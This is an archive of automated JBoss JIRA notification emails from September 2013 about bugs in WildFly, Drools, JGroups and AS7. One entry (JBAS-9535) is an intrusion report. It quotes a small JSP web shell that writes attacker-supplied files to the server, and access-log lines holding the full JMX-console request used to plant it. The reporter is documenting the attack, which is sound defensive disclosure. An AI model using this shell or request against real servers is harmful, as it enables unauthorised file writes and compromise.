From jira-events at lists.jboss.org  Thu Sep 19 16:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 16:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-5107) define connectors as
 alternatives to discovery-group
In-Reply-To: <JIRA.12469832.1341326802000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12469832.1341326802000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12469832.1341326802000.36295.1379623623410@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-5107?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805943#comment-12805943 ] 

RH Bugzilla Integration commented on AS7-5107:
----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1001612|https://bugzilla.redhat.com/show_bug.cgi?id=1001612] from NEW to MODIFIED
                
> define connectors as alternatives to discovery-group
> ----------------------------------------------------
>
>                 Key: AS7-5107
>                 URL: https://issues.jboss.org/browse/AS7-5107
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: JMS
>    Affects Versions: 7.1.2.Final (EAP)
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: EAP 6.1.0.Alpha (7.2.0.Final)
>
>
> cluster-connections, bridges and JMS connection factories must define either connectors or discovery-group but not both.
> The choice is handled in the messaging susbsystem parser but it's not enforced by the attributes' definitions. Admin operations are not shielded against a misconfiguration by changing directly these attributes

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 16:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 16:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2069) can not switch from connector
 to discovery-group-name for JMS (pooled-) connection factories
In-Reply-To: <JIRA.12500687.1379080160000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500687.1379080160000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500687.1379080160000.36298.1379623623486@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2069?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805944#comment-12805944 ] 

RH Bugzilla Integration commented on WFLY-2069:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1001612|https://bugzilla.redhat.com/show_bug.cgi?id=1001612] from NEW to MODIFIED
                
> can not switch from connector to discovery-group-name for JMS (pooled-) connection factories 
> ---------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2069
>                 URL: https://issues.jboss.org/browse/WFLY-2069
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Beta1
>
>
> connectors and discovery-group-name are alternative attributes of JMS (pooled) connection factories.
> If a resource defines one of this attribute, it must be able to "switch" to the other by running a batch command to:
> 1. undefine the attribute
> 2. write the value of the other attribute
> This currently does not work:
> {noformat}
> [standalone at localhost:9999 /] batch
> [standalone at localhost:9999 / #] /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:undefine-attribute(name=connector)
> #1 /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:undefine-attribute(name=connector)
> [standalone at localhost:9999 / #] /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:write-attribute(name=discovery-group-name,value=dg-group1)
> #2 /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:write-attribute(name=discovery-group-name,value=dg-group1)
> [standalone at localhost:9999 / #] run-batch
> {"JBAS014653: Composite operation failed and was rolled back. Steps that failed:" => {"Operation step-1" => "JBAS011630: Alternative attribute of (connector) is already defined."}}
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 16:49:03 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Thu, 19 Sep 2013 16:49:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2093) No any log generated after
 changing periodic-rotating-file-handler to size-rotating-file-handler
In-Reply-To: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500810.1379401775000.36309.1379623743472@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2093?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

James Perkins resolved WFLY-2093.
---------------------------------

    Resolution: Duplicate Issue


Marking as duplicate for [WFLY-1587]
                
> No any log generated after changing periodic-rotating-file-handler to size-rotating-file-handler
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2093
>                 URL: https://issues.jboss.org/browse/WFLY-2093
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: Xiaohui Wu
>            Assignee: James Perkins
>
> There is no any log in the server.log after changing periodic-rotating-file-handler to size-rotating-file-handler.
> The reproduce steps:
> 1. remove the part periodic-rotating-file-handler in standalone.xml
>             <periodic-rotating-file-handler name="FILE">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss.SSS} %-5p [%c] (%t) %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <suffix value=".yyyy-MM-dd"/>
>                 <append value="true"/>
>             </periodic-rotating-file-handler>
> 2. add one size-rotating-file-handler
>             <size-rotating-file-handler name="FILE" autoflush="true">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss,SSS} %-5p (%c) [%t] %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <rotate-size value="500k"/>
>                 <max-backup-index value="15"/>
>                 <append value="true"/>
>             </size-rotating-file-handler>
> 3. start the jboss server, then you will see there is a warning in the server.log and no any further logs in the server.log.
> 13:23:28,205 WARN  [org.jboss.as.logging] (Controller Boot Thread) JBAS011511: Replacing handler 'FILE' during add operation. Either the handler type or the module name differs from the initial configuration.
> The possible fix: 
> https://issues.jboss.org/browse/WFLY-178 the code change is in https://github.com/wildfly/wildfly/pull/4137 
> and the bugzilla is in EAP6.1.0: 
> https://bugzilla.redhat.com/show_bug.cgi?id=918103
> But this issue still exists in 6.1.1
> Best Regards,
> Vicky

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 18:22:03 2013
From: jira-events at lists.jboss.org (Samuel Doyle (JIRA))
Date: Thu, 19 Sep 2013 18:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-5061) add-user utility reports "No
 java.io.Console available to interact with user." when used silently with
 su and piped to a file.
In-Reply-To: <JIRA.12469374.1340396855000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12469374.1340396855000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12469374.1340396855000.36360.1379629323943@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/AS7-5061?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Samuel Doyle reopened AS7-5061:
-------------------------------



I just encountered this problem yet again in your 7.2.0 release

commit 4ed76ceef253c568b7475780a92e49a034f540c5
Author: Jason T. Greene <jason.greene at redhat.com>
Date:   Mon Feb 11 23:35:47 2013 -0600

    Prepare 7.2.0.Final for pre-releases

----
Exception in thread "main" java.lang.IllegalStateException: JBAS015232: No java.io.Console available to interact with user.
	at org.jboss.as.domain.management.security.AddPropertiesUser.<init>(AddPropertiesUser.java:97)
	at org.jboss.as.domain.management.security.AddPropertiesUser.main(AddPropertiesUser.java:193)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:616)
	at org.jboss.modules.Module.run(Module.java:262)
	at org.jboss.modules.Main.main(Main.java:329)

                
> add-user utility reports "No java.io.Console available to interact with user." when used silently with su and piped to a file.
> ------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: AS7-5061
>                 URL: https://issues.jboss.org/browse/AS7-5061
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: Domain Management, Security
>    Affects Versions: 7.1.2.Final (EAP)
>            Reporter: Samuel Doyle
>            Assignee: Darran Lofthouse
>             Fix For: 7.1.3.Final (EAP), EAP 6.1.0.Alpha (7.2.0.Final)
>
>
> ./add-user.sh dustin dustin1 does not work anymore. In previous versions it worked. It has to do with the "theConsole" object being null.
> In the same breadth, the --silent=true option in add-user.sh does not work anymore. Again has to do with the need for "theConsole" object being null.
> The --silent=true option was added because in some environments, System.console() returns null[for example when the Izpack installer calls that script] and the add-user.sh script breaks because of its dependence on System.console() object to print stuff.
> [the "theConsole" object calls the System.console() object] 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 21:24:03 2013
From: jira-events at lists.jboss.org (Mark Proctor (JIRA))
Date: Thu, 19 Sep 2013 21:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-268) Delayed rule schedules are
 computed erroneously
In-Reply-To: <JIRA.12500980.1379579634000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500980.1379579634000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500980.1379579634000.36417.1379640243536@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-268?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mark Proctor updated DROOLS-268:
--------------------------------

    Priority: Major  (was: Blocker)

    
> Delayed rule schedules are computed erroneously
> -----------------------------------------------
>
>                 Key: DROOLS-268
>                 URL: https://issues.jboss.org/browse/DROOLS-268
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final,  6.0.0.CR3
>            Reporter: Davide Sottara
>            Assignee: Mark Proctor
>             Fix For: 6.0.0.Final
>
>
> Consider the following case, where all patterns are events
> $a : A()
> $b : B()
> not C( this after[0,N] $a )
> When the schedule time is computed, the ACTIVATION timestamp is considered
> as the starting timestamp, rather than $a's timestamp.
> If $b is insert after $a, the rule's schedule will be N time units after $b.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 22:35:03 2013
From: jira-events at lists.jboss.org (Arun Neelicattu (JIRA))
Date: Thu, 19 Sep 2013 22:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBAS-9535) Exploit found in JBoss JMX
 Console via HtmlAdaptor?action=invokeOpByName
In-Reply-To: <JIRA.12490337.1366746325000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12490337.1366746325000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12490337.1366746325000.36476.1379644503485@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBAS-9535?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Arun Neelicattu closed JBAS-9535.
---------------------------------

    Resolution: Cannot Reproduce Bug


Closing this bug as it cannot be reproduced and there was no response from the reporter.
                
> Exploit found in JBoss JMX Console via HtmlAdaptor?action=invokeOpByName
> ------------------------------------------------------------------------
>
>                 Key: JBAS-9535
>                 URL: https://issues.jboss.org/browse/JBAS-9535
>             Project: Application Server 3  4  5 and 6
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: JMX
>    Affects Versions: JBossAS-5.1.0.GA
>         Environment: CentOS 5.4
>            Reporter: Mike Hansen
>
> I noticed a new deployment called myname.war with index.jsp which had the following inside:
> <%
>   if(request.getParameter("f")!=null)
>     (new java.io.FileOutputStream(application.getRealPath("\\") +  request.getParameter("f"))).write(request.getParameter("t").getBytes()
> );
> %>
> mynameok
> I looked into my web server logs and found the following entry:
> ssl_access_log.1:10.101.48.70 - - [16/Apr/2013:19:09:13 -0600] "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=myname.war&argType=java.lang.String&arg1=index&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%5c%5c%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3emynameok&argType=boolean&arg4=True HTTP/1.0" 401 -
> I double-checked our server and we had implemented the fixes for CVE-2010-0738. (We've seen attempts by the JBoss worm trying to install the kisses.tar.gz exploit, but they've been unsuccessful so far.)
> Here is the complete log of the exploit as recorded by the webserver:
>   access_log.1:10.101.48.70 - - [14/Apr/2013:20:10:27 -0600] "GET /jmx-console/HtmlAdaptor?action=displayMBeans&filter=jboss.admin HTTP/1.0" 302 - "http://153.90.162.14/jmx-console/HtmlAdaptor?action=displayMBeans&filter=jboss.admin" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0"
> access_log.1:211.101.48.70 - - [14/Apr/2013:20:10:29 -0600] "GET /web-console/dtree.js HTTP/1.0" 302 - "http://153.90.162.14/web-console/dtree.js" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0"
>   access_log.1:10.101.48.70 - - [14/Apr/2013:20:10:29 -0600] "GET /jmx-console/jboss.css HTTP/1.0" 302 - "http://153.90.162.14/jmx-console/jboss.css" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0"
>   access_log.1:10.101.48.70 - - [14/Apr/2013:20:10:30 -0600] "GET /jmx-console/HtmlAdaptor?action=displayMBeans&filter=jboss.admin HTTP/1.0" 302 - "http://153.90.162.14/jmx-console/HtmlAdaptor?action=displayMBeans&filter=jboss.admin" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0"
>   access_log.1:10.101.48.70 - - [14/Apr/2013:20:10:32 -0600] "GET /invoker/JMXInvokerServlet HTTP/1.0" 200 3365 "http://153.90.162.14/invoker/JMXInvokerServlet" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0"
>   access_log.1:10.101.48.70 - - [16/Apr/2013:19:09:04 -0600] "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=myname.war&argType=java.lang.String&arg1=index&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%5c%5c%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3emynameok&argType=boolean&arg4=True HTTP/1.0" 302 - "-" "-"
>   access_log.1:10.101.48.70 - - [16/Apr/2013:19:09:14 -0600] "GET /myname/index.jsp HTTP/1.0" 404 999 "http://153.90.162.14/myname/index.jsp" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0"
> access_log.1:211.101.48.70 - - [16/Apr/2013:19:09:15 -0600] "POST /invoker/JMXInvokerServlet HTTP/1.1" 200 73 "-" "Java/1.6.0_10-rc2"
>   access_log.1:10.101.48.70 - - [16/Apr/2013:19:09:17 -0600] "GET /myname/index.jsp HTTP/1.0" 404 999 "http://153.90.162.14/myname/index.jsp" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0"
>   ssl_access_log.1:10.101.48.70 - - [16/Apr/2013:19:09:13 -0600] "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=myname.war&argType=java.lang.String&arg1=index&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%5c%5c%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3emynameok&argType=boolean&arg4=True HTTP/1.0" 401 -
>   ssl_request_log.1:[16/Apr/2013:19:09:13 -0600] 10.101.48.70 TLSv1 RC4-MD5 "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=myname.war&argType=java.lang.String&arg1=index&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%5c%5c%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3emynameok&argType=boolean&arg4=True HTTP/1.0" -

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 02:09:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 20 Sep 2013 02:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1702)
 org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(counterName,
 -1) causing NullPointerException in EAP6.1.1
In-Reply-To: <JIRA.12501038.1379607058000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501038.1379607058000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501038.1379607058000.36606.1379657343723@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1702?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1702:
---------------------------

    Fix Version/s: 3.4

    
> org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(counterName,-1) causing NullPointerException in EAP6.1.1
> --------------------------------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1702
>                 URL: https://issues.jboss.org/browse/JGRP-1702
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.10
>         Environment: JBOSS EAP 6.1.1 on Linux CentOS5
>            Reporter: Ramil Israfilov
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> WE were happyly using the counterService.getOrCreateCounter(counter, -1); API in the JBOSS 7.1.3 (JBOSS EAP 6.0.1),
> we tried to migrate to EAP 6.1.1 and got NullPointerException on that call
> Here is the stacktrace:
> Caused by: java.lang.NullPointerException
>         at org.jgroups.util.Owner.hashCode(Owner.java:52) [jgroups-3.2.10.Final-
> redhat-2.jar:3.2.10.Final-redhat-2]
>         at java.util.concurrent.ConcurrentHashMap.put(ConcurrentHashMap.java:882
> ) [rt.jar:1.6.0_26]
>         at org.jgroups.protocols.COUNTER.getOrCreateCounter(COUNTER.java:140) [j
> groups-3.2.10.Final-redhat-2.jar:3.2.10.Final-redhat-2]
>         at org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(CounterSe
> rvice.java:34) [jgroups-3.2.10.Final-redhat-2.jar:3.2.10.Final-redhat-2]
>         at com.alu.mdm.container.jboss.JBossContainerImpl.getOrCreateDistributed
> Counter(JBossContainerImpl.java:102) [:]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 02:58:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 02:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-196) NPE when used Timers with
 temporal operators in the LHS pattern
In-Reply-To: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496945.1374272031000.36642.1379660283536@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-196?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805979#comment-12805979 ] 

RH Bugzilla Integration commented on DROOLS-196:
------------------------------------------------

Tomas Schlosser <tschloss at redhat.com> changed the Status of [bug 986479|https://bugzilla.redhat.com/show_bug.cgi?id=986479] from ON_QA to VERIFIED
                
> NPE when used Timers with temporal operators in the LHS pattern
> ---------------------------------------------------------------
>
>                 Key: DROOLS-196
>                 URL: https://issues.jboss.org/browse/DROOLS-196
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: LoopTestTimer.java
>
>
> NPE when used Timers with temporal operators. When the rule is invalidated by the clock we see:
> {quote}
> Unable to execute timer job!
> java.lang.NullPointerException
>      at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1236)
>      at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:91)
>      at org.drools.time.SelfRemovalJob.execute(SelfRemovalJob.java:15)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:47)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:12)
>      at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
>      at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 02:58:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 02:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-196) NPE when used Timers with
 temporal operators in the LHS pattern
In-Reply-To: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496945.1374272031000.36647.1379660283776@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-196?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805980#comment-12805980 ] 

RH Bugzilla Integration commented on DROOLS-196:
------------------------------------------------

Tomas Schlosser <tschloss at redhat.com> made a comment on [bug 986479|https://bugzilla.redhat.com/show_bug.cgi?id=986479]

Verified in 5.3.1.BRMS-P04
                
> NPE when used Timers with temporal operators in the LHS pattern
> ---------------------------------------------------------------
>
>                 Key: DROOLS-196
>                 URL: https://issues.jboss.org/browse/DROOLS-196
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: LoopTestTimer.java
>
>
> NPE when used Timers with temporal operators. When the rule is invalidated by the clock we see:
> {quote}
> Unable to execute timer job!
> java.lang.NullPointerException
>      at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1236)
>      at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:91)
>      at org.drools.time.SelfRemovalJob.execute(SelfRemovalJob.java:15)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:47)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:12)
>      at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
>      at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 03:49:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 03:49:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1499) Clustering tests
 intermittently fail mainly because they do not clean their deployments
 properly
In-Reply-To: <JIRA.12494046.1370968424000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494046.1370968424000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494046.1370968424000.36709.1379663343732@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1499?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805985#comment-12805985 ] 

RH Bugzilla Integration commented on WFLY-1499:
-----------------------------------------------

baranowb <bbaranow at redhat.com> made a comment on [bug 998371|https://bugzilla.redhat.com/show_bug.cgi?id=998371]

Some commits have been merged concurrently.

https://github.com/jbossas/jboss-eap/pull/431
https://github.com/jbossas/jboss-eap/pull/432
                
> Clustering tests intermittently fail mainly because they do not clean their deployments properly
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1499
>                 URL: https://issues.jboss.org/browse/WFLY-1499
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ivo Studensky
>            Assignee: Radoslav Husar
>             Fix For: 8.0.0.Alpha4
>
>
> Almost all clustering tests from the testsuite deploys what they need to perform the test, but almost none of those tests do undeploy of their deployments. Then, if the tests are run in an unexpected order (different JVM) or if some of them fail their deployments keeps at servers and often cause a failure of subsequent tests.
> For example {{RemoteStatelessFailoverTestCase(ejb3)}} stops {{CONTAINER-1}} in the middle of a testLoadBalance method and never tries to undeploy DEPLOYMENT_1 from it. So if it hits any failure in the subsequent {{this.establishView(listener, NODES[1]);}} the {{CONTAINER-1}} will never be started up again by RemoteStatelessFailoverTestCase and hence will never be cleaned up by Arquillian which normally undeploys all deployments from the running custom containers on after-class event. And then StatefulFailoverTestCase fails with 
> {noformat}
> org.jboss.as.test.clustering.ViewChangeListenerServlet threw exception:
> java.lang.InterruptedException: Cluster 'ejb' failed to establish view [node-1/ejb] within 15000 ms.  Current view is: [node-0/ejb, node-1/ejb]
> {noformat}
> Another frequent issue with clustering tests is that they blindly deploy the same deployments manytimes which leads to duplicate deploy failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 04:40:03 2013
From: jira-events at lists.jboss.org (Ramil Israfilov (JIRA))
Date: Fri, 20 Sep 2013 04:40:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1702)
 org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(counterName,
 -1) causing NullPointerException in EAP6.1.1
In-Reply-To: <JIRA.12501038.1379607058000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501038.1379607058000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501038.1379607058000.36800.1379666403864@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1702?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806002#comment-12806002 ] 

Ramil Israfilov commented on JGRP-1702:
---------------------------------------

we were using CounterService like it is described in the blog http://piotrnowicki.com/2013/02/using-jgroups-directly-from-jboss-as-7-component/
The CounterService activates, so service is not null. It is NPE during call of getOrCreateCounter 
                
> org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(counterName,-1) causing NullPointerException in EAP6.1.1
> --------------------------------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1702
>                 URL: https://issues.jboss.org/browse/JGRP-1702
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.10
>         Environment: JBOSS EAP 6.1.1 on Linux CentOS5
>            Reporter: Ramil Israfilov
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> WE were happyly using the counterService.getOrCreateCounter(counter, -1); API in the JBOSS 7.1.3 (JBOSS EAP 6.0.1),
> we tried to migrate to EAP 6.1.1 and got NullPointerException on that call
> Here is the stacktrace:
> Caused by: java.lang.NullPointerException
>         at org.jgroups.util.Owner.hashCode(Owner.java:52) [jgroups-3.2.10.Final-
> redhat-2.jar:3.2.10.Final-redhat-2]
>         at java.util.concurrent.ConcurrentHashMap.put(ConcurrentHashMap.java:882
> ) [rt.jar:1.6.0_26]
>         at org.jgroups.protocols.COUNTER.getOrCreateCounter(COUNTER.java:140) [j
> groups-3.2.10.Final-redhat-2.jar:3.2.10.Final-redhat-2]
>         at org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(CounterSe
> rvice.java:34) [jgroups-3.2.10.Final-redhat-2.jar:3.2.10.Final-redhat-2]
